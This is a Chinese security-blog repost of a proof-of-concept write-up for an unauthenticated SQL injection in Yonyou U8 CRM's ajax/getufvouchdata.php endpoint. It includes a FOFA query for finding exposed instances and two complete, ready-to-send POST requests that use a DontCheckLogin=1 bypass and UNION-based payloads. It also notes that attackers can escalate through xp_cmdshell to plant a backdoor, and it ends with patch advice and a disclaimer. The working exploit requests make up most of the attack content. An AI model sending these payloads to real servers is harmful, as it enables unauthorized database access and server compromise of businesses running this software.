用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOc

admin 2024年12月9日23:06:39评论9 views字数 2820阅读9分24秒阅读模式
 

00
产品简介
用友U8 CRM是用友公司专为中小企业设计的一款客户关系管理软件,以客户需求为核心,提供了全面的客户关系管理功能,旨在帮助企业提升客户满意度和销售业绩。它集成了销售管理、客户服务、市场营销等多个模块,形成一个完整、统一的客户关系管理平台。

01
漏洞概述
用友 U8 CRM客户关系管理系统 ajax/getufvouchdata.php 文件存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xpcmdshell写入后门文件,执行任意代码,从而获取到服务器权限。

02
搜索引擎
FOFA:
title="用友U8CRM"
用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOc
03
漏洞复现
poc-1
POST /ajax/getufvouchdata.php?DontCheckLogin=1&Action=getRelations HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=bgsesstimeout-;Content-Type: application/x-www-form-urlencoded; charset=utf-8Connection: closepID=1%27%20UNION%20ALL%20SELECT%20CHAR%28113%29%2BCHAR%28118%29%2BCHAR%28120%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28104%29%2BCHAR%2867%29%2BCHAR%2871%29%2BCHAR%28117%29%2BCHAR%2866%29%2BCHAR%28115%29%2BCHAR%2882%29%2BCHAR%2879%29%2BCHAR%28112%29%2BCHAR%28109%29%2BCHAR%2897%29%2BCHAR%2869%29%2BCHAR%2880%29%2BCHAR%2880%29%2BCHAR%28104%29%2BCHAR%2872%29%2BCHAR%2877%29%2BCHAR%2886%29%2BCHAR%2866%29%2BCHAR%2865%29%2BCHAR%28118%29%2BCHAR%2889%29%2BCHAR%28101%29%2BCHAR%28104%29%2BCHAR%28106%29%2BCHAR%28121%29%2BCHAR%2880%29%2BCHAR%2879%29%2BCHAR%28121%29%2BCHAR%28100%29%2BCHAR%2868%29%2BCHAR%2868%29%2BCHAR%28117%29%2BCHAR%2876%29%2BCHAR%28122%29%2BCHAR%28110%29%2BCHAR%2872%29%2BCHAR%28109%29%2BCHAR%2876%29%2BCHAR%2871%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28122%29%2BCHAR%28112%29%2BCHAR%28113%29--%20uSHu&cID=1
用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOc
poc-2
POST /ajax/getufvouchdata.php?DontCheckLogin=1&Action=getAffectAttr HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=bgsesstimeout-;Content-Type: application/x-www-form-urlencoded; charset=utf-8Connection: closecID=%27+UNION+ALL+SELECT+CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28107%29%2BCHAR%2881%29%2BCHAR%2876%29%2BCHAR%28104%29%2BCHAR%2876%29%2BCHAR%28117%29%2BCHAR%28103%29%2BCHAR%28120%29%2BCHAR%28100%29%2BCHAR%2878%29%2BCHAR%2886%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28104%29%2BCHAR%2868%29%2BCHAR%28115%29%2BCHAR%28107%29%2BCHAR%2882%29%2BCHAR%2873%29%2BCHAR%2887%29%2BCHAR%2871%29%2BCHAR%28104%29%2BCHAR%28102%29%2BCHAR%2865%29%2BCHAR%2882%29%2BCHAR%2883%29%2BCHAR%2884%29%2BCHAR%28104%29%2BCHAR%28122%29%2BCHAR%28113%29%2BCHAR%2888%29%2BCHAR%28116%29%2BCHAR%28118%29%2BCHAR%2897%29%2BCHAR%28114%29%2BCHAR%2889%29%2BCHAR%2883%29%2BCHAR%2865%29%2BCHAR%2898%29%2BCHAR%28113%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28113%29%2BCHAR%28113%29%2CNULL--+CCzz
用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOc
sqlmap验证
用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOc
04
检测工具

nuclei

用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOc

afrog

用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOc

xray

用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOc
05
修复建议

1、关闭互联网暴露面或接口设置访问权限

2、打补丁:

https://security.yonyou.com/#/noticeInfo?id=645

06

原文始发于微信公众号(nday POC):用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月9日23:06:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友U8 CRM ajax/getufvouchdata.php SQL注入漏洞 pOchttps://cn-sec.com/archives/3486768.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息